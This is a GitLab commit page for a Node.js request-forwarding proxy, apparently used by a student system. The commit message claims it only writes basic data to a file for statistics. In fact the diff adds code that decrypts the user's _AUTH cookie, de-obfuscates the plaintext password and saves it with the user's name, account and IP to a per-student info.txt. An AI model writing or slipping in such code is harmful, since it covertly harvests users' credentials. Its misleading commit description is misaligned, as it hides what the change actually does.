提交 db0f55d4 authored 作者: GOD_ZYX's avatar GOD_ZYX

将基础数据 写入文件,做当前数据统计

上级 d004fd0d
...@@ -65,6 +65,8 @@ const _executeOperate = (req, res) => { ...@@ -65,6 +65,8 @@ const _executeOperate = (req, res) => {
json.arrJson[dirStr + (dirCount++)] = elem json.arrJson[dirStr + (dirCount++)] = elem
} }
} }
/* 统计总个数 */
json.count = pa.length
/* 返回数据 */ /* 返回数据 */
res.status(200).json(json) res.status(200).json(json)
} else { } else {
......
...@@ -25,8 +25,10 @@ const agentProcessor = () => { ...@@ -25,8 +25,10 @@ const agentProcessor = () => {
/* 增加 日期目录 */ /* 增加 日期目录 */
let dateDir = com.DateTime.timestampToFormatDateStr(new Date().getTime()) let dateDir = com.DateTime.timestampToFormatDateStr(new Date().getTime())
/* 增加 学员目录 */ /* 增加 学员目录 */
let stuDir = json.auth || '其他' let stuDir = (json.name + '#' + json.auth) || '其他'
com.Directory.mkDir('upload_tmp/' + dateDir + '/' + stuDir) /* 学员目录 */
let stuPath = 'upload_tmp/' + dateDir + '/' + stuDir
com.Directory.mkDir(stuPath)
let headers = _.assignIn({}, req.headers) let headers = _.assignIn({}, req.headers)
let options = {} let options = {}
...@@ -97,6 +99,34 @@ const agentProcessor = () => { ...@@ -97,6 +99,34 @@ const agentProcessor = () => {
self: '', // 根据类型值,自定义 字符串参数 self: '', // 根据类型值,自定义 字符串参数
param: JSON.stringify(options) // 请求参数 JSON str param: JSON.stringify(options) // 请求参数 JSON str
} }
/* 基础info数据,写入文件 */
/* 不存在文件则写入;存在则不写入 */
fs.stat(stuPath + '/info.txt', (err, stat) => {
if (err) {
if (!pwdBase64) { // 从cookie中获取
let _AUTH = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_AUTH=/gi.test(_cookieArr[i])) {
_AUTH = _cookieArr[i].split('=')[1]
break
}
}
pwdBase64 = com.CryptoJs.decryptData(_AUTH)
}
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'IP: ' + getClientIP(req),
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(err) }
})
}
})
/* 重新转发请求 */ /* 重新转发请求 */
axios(options).then((data) => { axios(options).then((data) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms' _log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论